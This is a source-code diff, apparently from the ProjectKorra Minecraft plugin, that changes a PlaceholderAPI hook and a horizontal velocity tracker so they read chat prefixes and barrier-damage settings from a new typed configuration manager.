import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.CoreAbility;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.ChatPropertiesConfig;
import me.clip.placeholderapi.expansion.PlaceholderExpansion;
@SuppressWarnings("rawtypes")
public class PlaceholderAPIHook extends PlaceholderExpansion {
private final ProjectKorra plugin;
@ -36,18 +38,17 @@ public class PlaceholderAPIHook extends PlaceholderExpansion {
}
return coreAbil.getElement().getColor() + coreAbil.getName();
} else if (params.equals("element") || params.equals("elementcolor")) {
String e = "Nonbender";
String e = ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).NonbenderPrefix);
ChatColor c = ChatColor.WHITE;
if (player.hasPermission("bending.avatar") || (bPlayer.hasElement(Element.AIR) && bPlayer.hasElement(Element.EARTH) && bPlayer.hasElement(Element.FIRE) && bPlayer.hasElement(Element.WATER))) {
c = Element.AVATAR.getColor();
e = Element.AVATAR.getName();
e = ChatColor.translateAlternateColorCodes('&', ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarPrefix);
} else if (bPlayer.getElements().size() > 0) {
c = bPlayer.getElements().get(0).getColor();
e = bPlayer.getElements().get(0).getName();
e = bPlayer.getElements().get(0).getPrefix();
}
final String element = ConfigManager.languageConfig.get().getString("Chat.Prefixes." + e);
if (params.equals("element")) {
return c + element + ChatColor.RESET;
return c + e + ChatColor.RESET;
} else if (params.equals("elementcolor")) {
return c + "";
}

View file

@ -6,7 +6,6 @@ import java.util.concurrent.ConcurrentHashMap;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.block.Block;
@ -20,17 +19,15 @@ import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.Ability;
import com.projectkorra.projectkorra.ability.ElementalAbility;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.GeneralPropertiesConfig;
import com.projectkorra.projectkorra.event.HorizontalVelocityChangeEvent;
/**
* Created by Carbogen on 2/2/2015.
*/
public class HorizontalVelocityTracker {
public static Map<Entity, HorizontalVelocityTracker> instances = new ConcurrentHashMap<Entity, HorizontalVelocityTracker>();
public boolean hasBeenDamaged = false;
public boolean barrier = ConfigManager.defaultConfig.get().getBoolean("Properties.HorizontalCollisionPhysics.DamageOnBarrierBlock");
public boolean barrier = ConfigManager.getConfig(GeneralPropertiesConfig.class).ApplyHorizontalCollisionBarrierBlockDamage;
private long delay;
private long fireTime;
private Entity entity;